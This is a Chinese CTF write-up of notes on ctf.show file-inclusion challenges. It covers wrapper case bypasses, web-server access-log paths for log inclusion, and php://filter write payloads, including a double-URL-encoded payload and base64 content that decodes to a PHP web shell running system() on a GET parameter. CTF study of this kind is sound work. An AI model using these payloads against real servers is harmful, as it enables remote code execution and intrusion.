码农知识堂 - 1000bd
  •   Python
  •   PHP
  •   JS/TS
  •   JAVA
  •   C/C++
  •   C#
  •   GO
  •   Kotlin
  •   Swift
  • ctf_show笔记篇(web入门---文件包含)


    目录

    文件包含

    78-79:最基础的文件包含,使用伪协议,大小写绕过或者通配符绕过,再或者使用其他方法

    ​编辑80-81:可采用日志文件绕过或者大小写绕过(81只能日志文件绕过)

    ####80-86:因为条件竞争只在晚上十一点半后开启到早上七点多,所以暂时先不做

    87:这里要利用到php伪协议的特性

    88:使用data协议通过base64编码绕过

    116:通过binwalk扫描文件,然后在用foremost 文件名 -o 要输出的文件 精准输出需要的文件####有时候binwalk不够准确

    117:还是使用php伪协议的特性


    文件包含

    78-79:最基础的文件包含,使用伪协议,大小写绕过或者通配符绕过,再或者使用其他方法

    80-81:可采用日志文件绕过或者大小写绕过(81只能日志文件绕过)

    日志文件路径:前提是可以访问到日志文件

    • /var/log/apache/access.log
    • /var/log/apache2/access.log
    • /var/log/nginx/access.log

    大小写绕过,例如PHP://filter

    ####80-86:因为条件竞争只在晚上十一点半后开启到早上七点多,所以暂时先不做

    87:这里要利用到php伪协议的特性

    ####看不懂的话可以去看这篇文章来了解php的特性谈一谈php://filter的妙用 | 离别歌 (leavesongs.com)

    这里使用urldecode来解码file,那么传入数据的时候就要进行url编码

    那么这些过滤就没用了不用管了

    payload:

    原:file=php://filter/write=convert.base64-decode/resource=a.php

    url转换两次后:####浏览器会先自动url解码一次,第二次则是urldecode

    file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%36%31%25%32%65%25%37%30%25%36%38%25%37%30

    原content=

    content=aaPD9waHAgZXZhbChzeXN0ZW0oJF9HRVRbMV0pKTs/Pg==

    利用php伪协议的特性

    1. base64指定只能只用a-z A-Z 0-9的字符
      所以就会变成phpdie,这里就会直接让他的die无效化
    2. 应为base64只能处理4的倍数的字符串,所以需要在前面多加两个字符
      最后的连接起来的效果应该是phpdieaa和PD9waHAgZXZhbChzeXN0ZW0oJF9HRVRbMV0pKTs/Pg==

    88:使用data协议通过base64编码绕过

    116:通过binwalk扫描文件,然后在用foremost 文件名 -o 要输出的文件 精准输出需要的文件####有时候binwalk不够准确

    过滤以下协议,当没有填入file函数的时候file=sp2.mp4

    117:还是使用php伪协议的特性

    payload:

    file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=1.php

    从UCS-2LE编码转换为UCS-2BE编码,这个过滤器需要php支持iconv

    通过这样可以将打乱

    而contents传入的数据只需要提前以UCS-2LE编码传入转换回来就可以

    contents=??

  • 相关阅读:
    代理服务器squid使用
    Spring动态修改bean属性的value
    安装PyCharm(最完整版)
    Camtasia Studio2023专业的电脑屏幕录像视频编辑软件
    SpringCloud微服务实战——搭建企业级开发框架(四十七):【移动开发】整合uni-app搭建移动端快速开发框架-添加Axios并实现登录功能
    数据分享|SAS数据挖掘EM贷款违约预测分析:逐步Logistic逻辑回归、决策树、随机森林...
    SpringBoot原理篇(2)—自定义starter
    2022-08-19 C++并发编程(十二)
    5、阻塞队列
    Java中的IO流如何理解——精简
  • 原文地址:https://blog.csdn.net/whale_waves/article/details/136419319
  • 最新文章
  • 【JVM】编译执行与解释执行的区别是什么?JVM 使用哪种方式?
    用 Hashids 优雅解决 C 端自增 ID 暴露问题
    V8引擎 精品漫游指南--Ignition篇(上) 指令 栈帧 槽位 调用约定 内存布局 基础内容
    LLVM Pass快速入门(四):代码插桩
    milkup:桌面端 markdown AI续写和即时渲染
    基于项目工程构建SBOM(软件物料清单)的研究
    鸿蒙应用开发UI基础第二节:鸿蒙应用程序框架核心解析与实操
    .NET 中如何快速实现 List 集合去重?
    扣子Coze实战:从0到1打造抖音+小红书热点监控智能体
    浅谈数据访问层
  • 热门文章
  • 十款代码表白小特效 一个比一个浪漫 赶紧收藏起来吧!!!
    奉劝各位学弟学妹们,该打造你的技术影响力了!
    五年了,我在 CSDN 的两个一百万。
    Java俄罗斯方块,老程序员花了一个周末,连接中学年代!
    面试官都震惊,你这网络基础可以啊!
    你真的会用百度吗?我不信 — 那些不为人知的搜索引擎语法
    心情不好的时候,用 Python 画棵樱花树送给自己吧
    通宵一晚做出来的一款类似CS的第一人称射击游戏Demo!原来做游戏也不是很难,连憨憨学妹都学会了!
    13 万字 C 语言从入门到精通保姆级教程2021 年版
    10行代码集2000张美女图,Python爬虫120例,再上征途
小工具 小游戏
Copyright © 2022 侵权请联系2656653265@qq.com    京ICP备2022015340号-1

京公网安备 11010502049817号